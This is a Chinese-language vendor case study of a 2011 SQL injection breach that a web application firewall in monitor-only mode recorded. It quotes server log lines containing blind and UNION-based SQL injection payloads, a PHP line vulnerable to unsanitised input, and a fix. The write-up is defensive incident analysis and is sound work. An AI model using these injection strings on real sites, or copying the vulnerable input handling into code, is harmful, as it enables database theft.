梭子魚WEB應(yīng)用防火墻數(shù)據(jù)防泄露實戰(zhàn)案例系列(一)
在如今這個Web 攻擊已經(jīng)實現(xiàn)自動化的時代,管理員對網(wǎng)站的安全保護不能有絲毫松懈 。2011年4月9日,置于“被動模式”(只監(jiān)控對網(wǎng)站的訪問)的梭子魚Web應(yīng)用防火墻詳細(xì)記錄了黑客侵入一家公司市場部數(shù)據(jù)庫的全過程。分析顯示,該次攻擊最有可能是那些犯罪意圖不明顯的灰帽子黑客所為。本文將具體探討數(shù)據(jù)泄露是如何發(fā)生的,我們獲得了哪些啟示,以及梭子魚Web應(yīng)用防火墻會如何阻止正在進行的應(yīng)用層攻擊并有效防止進一步破壞。
Web 應(yīng)用的設(shè)計保證了數(shù)據(jù)能夠透明地穿過網(wǎng)絡(luò)防火墻,因此傳統(tǒng)的四層網(wǎng)絡(luò)防火墻無法檢測并阻止七層(應(yīng)用層)的攻擊;然而,許多組織都還沒有充分意識到四層安全措施已經(jīng)不能滿足當(dāng)前的需求,從而使得這些組織極易受到針對各種應(yīng)用的攻擊。
不管動機如何,針對 Web 應(yīng)用的攻擊,尤其是 SQL 注入攻擊,都被證明是滲透網(wǎng)絡(luò)并竊取數(shù)據(jù)的最有效途徑:
·Web 應(yīng)用攻擊僅占全部數(shù)據(jù)泄露事件的 54%,但被竊取的數(shù)據(jù)占92%
·SQL 注入攻擊僅占 Web 應(yīng)用攻擊的25%,但是被竊取的數(shù)據(jù)占89%
數(shù)據(jù)泄露事件說明
此次數(shù)據(jù)泄露事件的主要原因有以下幾點:
1.網(wǎng)站的PHP 代碼存在錯誤
2.原本應(yīng)定期進行的代碼漏洞掃描被忽略,導(dǎo)致沒有及時發(fā)現(xiàn)PHP代碼問題
3.網(wǎng)站維護人員沒有開啟梭子魚Web應(yīng)用防火墻的安全防護功能
對有漏洞的代碼未加以保護,受到攻擊只是個時間問題。根據(jù)梭子魚Web應(yīng)用防火墻的記錄和報告,攻擊是這樣發(fā)生的:
數(shù)據(jù)泄露事件具體過程
通過梭子魚Web應(yīng)用防火墻的日志,我們確認(rèn)非法用戶使用了兩個客戶端對網(wǎng)站進行探測和攻擊:
使用梭子魚Web應(yīng)用防火墻報告的信息,我們能夠迅速在Web服務(wù)器日志上過濾并查找到相應(yīng)的記錄條目。
2011-04-10 03:19:17 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((database()),13,1))=99%20and%20”x”=”x 80 - 87.1
2011-04-10 03:19:17 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:18 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((database()),13,1))=98%20and%20”x”=”x 80 - 87.1
2011-04-10 03:19:18 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((database()),13,1))=97%20and%20”x”=”x 80 - 87.1
2011-04-10 03:19:19 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:21 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:24 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:26 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:28 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:31 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:32 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:33 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:37 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:39 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:41 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:46 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:48 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:48 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info
2011-04-10 03:19:49 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info
2011-04-10 03:19:51 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:51 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info
2011-04-10 03:19:52 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info
2011-04-10 03:19:53 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:53 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info
2011-04-10 03:19:54 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info
2011-04-10 03:19:54 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:54 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((SELECT%20distinct%20schema_name%20from%20info
2011-04-10 03:19:55 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:57 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:57 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:19:57 GET /ns/customers/customer_verticals.php v=12”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
注:Web 日志使用的是格林威治標(biāo)準(zhǔn)時間(GMT),而 Web 應(yīng)用防火墻使用的是太平洋夏令時(PDT)
通過仔細(xì)查看梭子魚Web 應(yīng)用防火墻的每個日志條目,我們找到了攻擊者及其所用工具的線索:
發(fā)現(xiàn)漏洞
第一次攻擊的開始時間為4月9日下午5:07,攻擊者的IP地址為 115.134.249.15,來自馬來西亞的吉隆坡,該日志條目證實了認(rèn)為攻擊來自馬來西亞的在線報告。我們還注意到,攻擊者用以探測 Web 網(wǎng)站SQL 注入缺陷的是White hats設(shè)計的滲透工具的一個修改版;相關(guān)的日志條目報告顯示,負(fù)責(zé)此次攻擊的黑客團隊頻繁進入White hat在線社區(qū)。我們在Web 服務(wù)器日志上也發(fā)現(xiàn)了相似的條目。這些日志條目還讓我們跟蹤到攻擊者嘗試了哪些攻擊以及在我們的后臺系統(tǒng)上成功進行了哪些攻擊。
ex11041000.log:2011-04-10 00:17:18 GET /ns/customers/customer_verticals.php v=11 80 - 115.134.249.155 Mozilla/4.0+(compatible;+MSIE+7.0;+W
ex11041000.log:2011-04-10 00:17:20 GET /ns/customers/customer_verticals.php v=-9.9 80 - 115.134.249.155 Mozilla/4.0+(compatible;+MSIE+7.0;+
ex11041000.log:2011-04-10 00:17:22 GET /ns/customers/customer_verticals.php v=11%20and%201=1 80 - 115.134.249.155 Mozilla/4.0+(compatibl
ex11041000.log:2011-04-10 00:17:24 GET /ns/customers/customer_verticals.php v=11%20and%201=0 80 - 115.134.249.155 Mozilla/4.0+(compatibl
ex11041000.log:2011-04-10 00:17:25 GET /ns/customers/customer_verticals.php v=11’%20and%20’x’=’x 80 - 115.134.249.155 Mozilla/4.0+(compati
注:Web 日志使用的是格林威治標(biāo)準(zhǔn)時間(GMT),而 Web 應(yīng)用防火墻使用的是太平洋夏令時(PDT)
我們現(xiàn)在知道,第一個攻擊者使用自動工具逐步遍歷網(wǎng)站,并對每個允許輸入的參數(shù)項注入一系列 SQL 命令,查找可能的漏洞。SQL 注入工具于下午 5:16 找到了第一個漏洞,但沒有繼續(xù)深入該網(wǎng)頁;下午 8:10,IP地址為 87.106.220.57 的第二個客戶端加入了攻擊行列。經(jīng)追蹤發(fā)現(xiàn),第二個IP地址的服務(wù)器在德國,但尚不清楚該服務(wù)器是一個代理,還是第二個攻擊者。梭子魚WAF同樣記錄下了來自第二個IP地址的活動。
以下是相應(yīng)的 Web 服務(wù)器日志:
2011-04-10 03:14:11 GET /ns/customers/customer_verticals.php v=12”%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,
2011-04-10 03:14:11 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:14:12 GET /ns/customers/customer_verticals.php v=12”%20and(select%201%20from(select%20count(*),concat((select%20(select%2
2011-04-10 03:14:12 GET /ns/customers/customer_verticals.php v=12”%20and(select%201%20from(select%20count(*),concat((select%20(select%2
2011-04-10 03:14:14 GET /ns/customers/customer_verticals.php v=11”%20and%20ascii(substring((SELECT%20distinct%20schema_name%20from%
2011-04-10 03:14:14 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((database()))<32%20and%20”x”=”x 80 - 87.106.220.57 M
2011-04-10 03:14:15 GET /ns/customers/customer_verticals.php v=12”%20and%20Length((database()))<16%20and%20”x”=”x 80 - 87.106.220.57 M
注:Web 日志使用的是格林威治標(biāo)準(zhǔn)時間(GMT),而 Web 應(yīng)用防火墻使用的是太平洋夏令時(PDT)
從梭子魚Web應(yīng)用防火墻的日志發(fā)現(xiàn),攻擊者似乎利用了第二個客戶端對已發(fā)現(xiàn)的漏洞進行了手動攻擊,而主要攻擊仍然集中在繼續(xù)對Web 站點進行掃描,以獲取其它漏洞。最終,攻擊者們集中力量攻擊非主頁的一個WEB 頁面上的一行弱代碼,其輸入?yún)?shù)并未進行控制審查。以下是那段代碼:
<?=Foo_Function( $_GET[‘parameter’] )?> //獲得用戶輸入
因未對輸入值進行限定,該代碼錯誤讓攻擊者們得以向 HTML的輸入?yún)?shù)進行注入 SQL 命令來攻擊后臺數(shù)據(jù)庫。
網(wǎng)站開發(fā)者們被告知絕對不要信任用戶的輸入;所有的用戶輸入在發(fā)送到后臺服務(wù)器之前必須進行審查。然而,通過上述案例,你可以發(fā)現(xiàn)僅僅用眼睛很難發(fā)現(xiàn)所有的代碼錯誤。這就是為什么除了必要的防范性代碼設(shè)計以外,梭子魚公司還使用漏洞掃描工具和Web應(yīng)用防火墻設(shè)備來為可能的缺陷提供保護。由于自動式掃描攻擊的存在,在一個含有成千上萬條代碼的 Web 站點中,只要有一個簡單的錯誤就能讓攻擊得逞。我們添加了一條代碼,對受影響的頁面上的輸入進行限定審查,以保護未來的可能攻擊。
$parameter = @is_sanitized($_GET[‘parameter’]) ? $_GET[‘ parameter ‘] : 0;
<?=Foo_Function( $parameter)?>
從漏洞到數(shù)據(jù)泄露
攻擊者們發(fā)現(xiàn)了存在漏洞的頁面后,就企圖竊取數(shù)據(jù)庫用戶賬號。在接下來的 10個小時里,攻擊者們嘗試了數(shù)種方法來強行闖入后臺數(shù)據(jù)庫,但是每次都以失敗告終。上午3:06,攻擊者們改變了策略,集中攻擊后臺數(shù)據(jù)庫Schema。事實證明,這是個有效的決定。到 3:19am,攻擊者們已經(jīng)竊取了第一批電子郵箱賬號。
網(wǎng)站管理員在10:30am 發(fā)現(xiàn)網(wǎng)站被攻擊,并于10:39am將梭子魚Web應(yīng)用防火墻切換到ACTIVE模式開啟保護,阻止了來自 IP 地址為 115.134.249.15 的所有后續(xù)攻擊。接下來的數(shù)小時里,攻擊者們繼續(xù)對剩下的 Web 頁面進行定時攻擊,從梭子魚Web應(yīng)用防火墻設(shè)備將所有這些攻擊拒之門外。從攻擊文件證實了我們的結(jié)論,即:攻擊者們使用了一種自動掃描滲透工具,大范圍地注入 SQL 命令。最終,攻擊者們從兩個攻擊IP地址總共對 175 個URL 發(fā)送了 110,892 個 SQL 注入式命令,其頻率為每分鐘 42次。
我們在追蹤梭子魚Web應(yīng)用防火墻上的防火墻日志和訪問日志時,確定攻擊者們竊取了市場部數(shù)據(jù)庫中的兩套記錄,包含 21,861 個用戶名和電子郵件記錄。因為這兩套記錄還存在副本,并且當(dāng)中有許多用戶已離開原先的公司,所以受影響的用戶數(shù)比被竊取記錄的總數(shù)要小得多。
任何數(shù)據(jù)泄露都是嚴(yán)重的問題。盡管實施這次攻擊的黑客們似乎并無惡意,但是類似的泄漏數(shù)據(jù),可能被用來對受影響的用戶進行釣魚攻擊。
無論是從事前還是事后的角度來分析,這次攻擊更像是一次攻防演練;通過這次事件,我們更確信,梭子魚Web應(yīng)用防火墻設(shè)備能夠為網(wǎng)站提供對包括SQL注入在內(nèi)的各種攻擊的防護。雖然網(wǎng)頁中包含PHP代碼漏洞,但只要開啟梭子魚Web應(yīng)用防火墻的防護功能,所有的攻擊都在幾秒鐘內(nèi)都被阻止。而且,梭子魚Web應(yīng)用防火墻的日志和報告提供了完整的攻擊記錄以及失竊數(shù)據(jù)的記錄,從而為分析和研究Web應(yīng)用安全提供了一個很好的案例。為了保障網(wǎng)站的安全,在編寫高質(zhì)量的代碼和進行漏洞測試的同時,梭子魚Web應(yīng)用防火墻設(shè)備應(yīng)該成為防御應(yīng)用層攻擊的第一道防線。